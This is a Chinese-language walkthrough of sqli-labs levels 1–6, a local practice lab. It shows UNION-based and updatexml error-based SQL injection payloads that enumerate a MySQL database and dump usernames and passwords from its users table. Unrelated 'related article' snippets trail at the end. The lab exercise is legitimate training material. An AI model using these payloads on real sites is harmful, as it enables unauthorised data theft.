sqli-labs-master less1-less6
目录
通关前必看
1、判断是否存在sql注入以及是字符型还是数值型:
2、各种注入方式以及方法
有回显型:
报错注入(只有'ok'和'no'的提示以及报错提示):
详细思路,后面的题都可以这样去思考
关卡实操
less1
less2
less3
less4
less5
less6
通关前必看
在这之前,需要掌握数据库的基本操作,对数据库有较好的了解(博主主页中有)
1、判断是否存在sql注入以及是字符型还是数值型:
方法:输入一个不会报错的值,然后在后面加上and 1=1 /and 1=2
比如127.0.0.1/sqli-labs-master/Less-1/?id= 当我们输入1时,不会报错,后面加上and 1=1,结果显示和之前一样(可以初步断定存在sql注入了),然后改成and 1=2,如果结果显示还是一样,可以断定这是字符型了,因为客户端将1=1和1=2当作字符处理了;如果结果发生了变化,则是数值型,因为1=2明显为假。
2、各种注入方式以及方法
有回显型:
1‘ order by n 通过改变n的值,可以判断出有几处回显(1为真,执行order语句),这里假设判断出来有三处回显。
-1’ union select 1,2,database() 爆出数据库名(-1为假,执行union语句;1和2只起占位作用,因为我们判断出来有三处回显,所以将没有使用的位置占位,1,2位置还可以写其他语句,比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本,数据库名)
-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' 爆出表名,且在一行显示;
还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema='数据库名' limit 0,1 (只能显示第一个表,通过改变limit 0,1 来获取更多表名)
-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名' 爆出某张表的字段名;
-1' union select 1,2,group_concat(id,username,password) from users --+爆出字段对应的数据;
报错注入(只有'ok'和'no'的提示以及报错提示):
先用sleep()延迟函数判断类型和闭合方式:?id=1 and sleep(5)--+如果有延迟则说明是数值型;如果没有延迟,说明是字符型。若是字符型,还需要判断闭合方式,同样的,假设是单引号闭合:?id=1' and sleep(5)--+ 如果有延迟,则假设正确……
固定语句:?id=1' and updatexml(1,concat(0x7e,( ),0x7e),1)--+中间的括号里面写需要执行的select语句。
详细思路,后面的题都可以这样去思考
关卡实操
less1
输入1有回显,加上and 1=1不报错,and1=2也不报错,且回显都一样,判断是字符型:
输入1’ 报错,判断是单引号闭合:
在后面加上--+(因为这里是get型传参,所以不用#来注释),发现回显正常:
开始爆破数据库:
?id=1' order by 3 --+回显正常,而?id=1' order by4 --+报错了,所以判断出这里有3处回显:
爆数据库名 ?id=0' union select 1,2,database()--+可以看到,在第三个回显处显示的是数据库名:security :
爆表名?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 可以看到,有emails,referers,uagents,users四张表:
爆字段名(以users表)为例?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+可以看到users表有id,username,password三个字段:
爆字段数据?id=0' union select 1,2,group_concat(id,username,password) from users --+
接下来的关卡我们用类似的方法,就不赘述了,主要是要判断出是字符型,还是数值型,是什么闭合,有没有括号。
less2
这里and 1=2 发现回显异常,所以判断出是数值型,所以就不用加引号来闭合了:
后面加上注释--+发现回显正常,说明没有括号:
接下来就是一样的方法来爆破数据库了,我们先判断有几处回显,order by 3时回显正常,order by 4时报错,所以有3处回显:
爆数据库名?id=0 union select 1,2,database()--+,注意这里由于是数值型,所以不加引号:
同样的方法爆出其他的数据:
表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0 union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less3
同样的方法,判断出这里是字符型且是单引号闭合,但是当我们加上注释--+后,还是报错了,说明这里可能还有括号没有闭合:
我们在引号后面加上一个右括号,发现回显正常了:
之后爆数据库:
?id=1') order by 3--+判断有三处回显
数据库名?id =0') union select 1,2,database()--+
表名:?id=0的') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0') union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less4
同样的方法判断出字符型;
当我们加上一个单引号后发现回显正常的,说明这里是双引号闭合(where id =" 1' "):
我们改成双引号id=1" 后发现报错了,所以确实是双引号闭合:
后面加上注释--+,发现报错,说明有括号没有闭合:
我们在双引号后面加上一个右括号,发现回显正常了:
接下来一样的方法爆数据库:
?id=1") order by 3--+判断有三处回显
数据库名:?id=0") union select 1,2,database()--+
表名:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
字段名:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+
字段数据:?id=0") union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+
less5
这一关我们发现输入正确的值,只会返回you are in;输入错误的值就没有回显,语法错误就会报错,除此之外就没有其它信息了,所以就不能用union联合查询了。这里我们用报错注入。
同样的方法判断出这里是字符型,单引号闭合。
然后用updatexml()报错函数来爆破数据库:
固定语句结构就是这样的:?id=1' and updatexml(1,concat(0x7e,( ),0x7e),1)--+最中间的括号里填查询语句。
爆数据库名:?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
爆表名(只需要更改中间括号里面的内同容):?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
同样的方法爆字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)--+
爆字段数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)--+
less6
同less5要用报错注入
同样的方法判断出这里是字符型,双引号闭合。
爆数据库名?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表名?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
爆字段名?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name='表名'),0x7e),1)--+
爆字段数据?id=1" and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)
相关文章:

sqli-labs-master less1-less6
目录 通关前必看 1、判断是否存在sql注入以及是字符型还是数值型: 2、各种注入方式以及方法 有回显型: 报错注入(只有ok和no的提示以及报错提示): 详细思路,后面的题都可以这样去思考 关卡实操 less…...
力扣287【寻找重复数】
给定一个包含 n 1 个整数的数组 nums ,其数字都在 [1, n] 范围内(包括 1 和 n),可知至少存在一个重复的整数。 假设 nums 只有 一个重复的整数 ,返回 这个重复的数 。 你设计的解决方案必须 不修改 数组 nums 且只用常…...

【2024蓝桥杯/C++/B组/传送阵】
题目 问题代码 #include<bits/stdc.h> using namespace std;const int N 1e610; int n; int porter[N]; int ans; int sign[N]; bool used;void dfs(int now, int cnt) {if(sign[now] && used){ans max(ans, cnt);return;}if(!sign[now]){cnt, sign[now] 1; …...

(四十一)大数据实战——spark的yarn模式生产环境部署
前言 Spark 是一个开源的分布式计算系统。它提供了高效的数据处理能力,支持复杂的数据分析和处理任务,是一种基于内存的快速、通用、可扩展的大数据分析计算引擎。Spark Core:实现了Spark的基本功能,包含任务调度、内存管理、错误…...

【深度学习实战(53)】classification_report()
classification_report()是python在机器学习中常用的输出模型评估报告的方法。 classification_report()函数介绍 classification_report()语法如下:classification_report( y_true, y_pred, labelsNone, …...

计算机网络基础之网络套接字socket编程(初步认识UDP、TCP协议)
绪论 “宿命论是那些缺乏意志力的弱者的借口。 ——罗曼.罗兰”,本章是为应用层打基础,因为在写应用层时将直接通过文本和代码的形式来更加可视化的理解网络,本章主要写的是如何使用网络套接字和udp、tcp初步认识。 话不多说安…...
手撕Python!模块、包、库,傻傻分不清?一分钟带你弄明白!
哈喽,各位小伙伴们!今天咱们来聊聊Python中的模块、包和库,很多新手小白经常搞混,别担心,看完这篇,保证你一分钟就能搞定! 打个比方: 模块 (Module): 就好比是一块块乐高积木&#…...

Linux--序列化与反序列化
序列化 序列化是指将数据结构或对象状态转换成可以存储或传输的格式的过程。在序列化过程中,对象的状态信息被转换为可以保持或传输的格式(如二进制、XML、JSON等)。序列化后的数据可以被写入到文件、数据库、内存缓冲区中,或者通…...
使用C#和 aspose.total 实现替换pdf中的文字(外语:捷克语言的pdf),并生成新的pdf导出到指定路径
程序主入口: Program.cs using System; using System.Collections.Generic; using System.Configuration; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks;namespace PdfEditor {public class Progra…...

【Material-UI】Autocomplete中的高亮功能(Highlights)详解
文章目录 一、简介二、实现高亮功能示例代码代码解释 三、实际应用场景1. 搜索功能2. 表单自动完成 四、总结 在现代Web开发中,提供清晰的用户反馈是提升用户体验的重要组成部分。Material-UI的Autocomplete组件通过高亮功能,帮助用户快速识别搜索结果中…...

Android 11(R)启动流程 初版
启动流程 bootloader会去启动android第一个进程Idle,pid为0,会对进程 内存管理等进行初始化。Idle还被称作swapper。Idle会去创建两个进程,一个是init,另外一个是kthread。 kthread会去启动内核,用户是由init进行启动。…...

从零安装pytorch
背景介绍 目前主流使用的工具有Facebook搞的pythorch和谷歌开发的tensorflow两种,二者在实现理念上有一定区别,pytorch和人的思维模式与变成习惯更像,而tensorflow则是先构建整体结构,然后整体运行,开发调试过程较为繁…...
2024.07.28 校招 实习 内推 面经
绿*泡*泡VX: neituijunsir 交流*裙 ,内推/实习/校招汇总表格 1、自动驾驶一周资讯 - 特斯拉FSD年底入华?理想成立“端到端”实体组织;小马智行或最快于今年9月赴美IPO 自动驾驶一周资讯 - 特斯拉FSD年底入华?理想…...

python实现小游戏——植物大战僵尸(魔改版本)
制作一款DIY的‘植物大战僵尸’游戏引起了很多人的兴趣。在这里,我将分享一个使用Python语言在PyCharm环境中开发的初始状态版本。这个版本主要应用了pygame库来完成,是一个充满创意和趣味的魔改版本。 文章目录 前言一、开发环境准备二、代码1.main方法…...

基于K210智能人脸识别+车牌识别系统(完整工程资料源码)
运行效果: 基于K210的智能人脸与车牌识别系统工程 目录: 运行效果: 目录: 前言: 一、国内外研究现状与发展趋势 二、相关技术基础 2.1 人脸识别技术 2.2 车牌识别技术 三、智能小区门禁系统设计 3.1 系统设计方案 3.2 …...

8.怎么配嵌套子路由,以及它的作用
作用 配嵌套子路由,就是可以通过同一个页面,让不同的位置发生变化,其他的位置不会发生变化,而做到一个局部刷新 例子 红线框住的部分,头部和导航栏是不会发生变化的,变化的只有中间的内容 子路由的操作步骤 将这个页面的头部和导航栏部分的样式和风格,移到主路由上(<tem…...

【海贼王航海日志:前端技术探索】HTML你学会了吗?(二)
目录 1 -> HTML常见标签 1.1 -> 表格标签 1.1.1 -> 基本使用 1.1.2 -> 合并单元格 1.2 -> 列表标签 1.3 -> 表单标签 1.3.1 -> form标签 1.3.2 -> input标签 1.4 -> label标签 1.5 -> select标签 1.6 -> textarea标签 1.7 -> …...
体系结构论文导读(三十一)(下):Soft errors in DNN accelerators: A comprehensive review
第五部分:DNN加速器中的软错误 本部分回顾和分析了有关人工神经网络(ANN)可靠性的研究。特别是关注通过DNN加速器解决DNN可靠性的研究,从软错误的角度进行探讨。许多前期工作声称ANN本身对故障具有固有的容错能力。然而ÿ…...

Python在指定文件夹下创建虚拟环境
基于不同python版本和第三方包版本开发的项目,为了方便学习和管理python环境,可以在指定的文件夹里创建项目所需的虚拟环境。具体流程如下: (1) 以管理员身份打开Ananconda Prompt,查看当前虚拟环境,输入命令如下&…...

【SpringBoot】 定时任务之任务执行和调度及使用指南
【SpringBoot】 定时任务之任务执行和调度及使用指南 Spring框架分别通过TaskExecutor和TaskScheduler接口为任务的异步执行和调度提供了抽象。Spring还提供了支持应用程序服务器环境中的线程池或CommonJ委托的那些接口的实现。最终,在公共接口后面使用这些实现&…...

visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...
Java多线程实现之Callable接口深度解析
Java多线程实现之Callable接口深度解析 一、Callable接口概述1.1 接口定义1.2 与Runnable接口的对比1.3 Future接口与FutureTask类 二、Callable接口的基本使用方法2.1 传统方式实现Callable接口2.2 使用Lambda表达式简化Callable实现2.3 使用FutureTask类执行Callable任务 三、…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...

Nuxt.js 中的路由配置详解
Nuxt.js 通过其内置的路由系统简化了应用的路由配置,使得开发者可以轻松地管理页面导航和 URL 结构。路由配置主要涉及页面组件的组织、动态路由的设置以及路由元信息的配置。 自动路由生成 Nuxt.js 会根据 pages 目录下的文件结构自动生成路由配置。每个文件都会对…...

涂鸦T5AI手搓语音、emoji、otto机器人从入门到实战
“🤖手搓TuyaAI语音指令 😍秒变表情包大师,让萌系Otto机器人🔥玩出智能新花样!开整!” 🤖 Otto机器人 → 直接点明主体 手搓TuyaAI语音 → 强调 自主编程/自定义 语音控制(TuyaAI…...

NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
关于 WASM:1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么? WebAssembly(WASM) 是一种能在现代浏览器中高效运行的二进制指令格式,它不是传统的编程语言,而是一种 低级字节码格式,可由高级语言(如 C、C、Rust&am…...

【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...

如何在网页里填写 PDF 表格?
有时候,你可能希望用户能在你的网站上填写 PDF 表单。然而,这件事并不简单,因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件,但原生并不支持编辑或填写它们。更糟的是,如果你想收集表单数据ÿ…...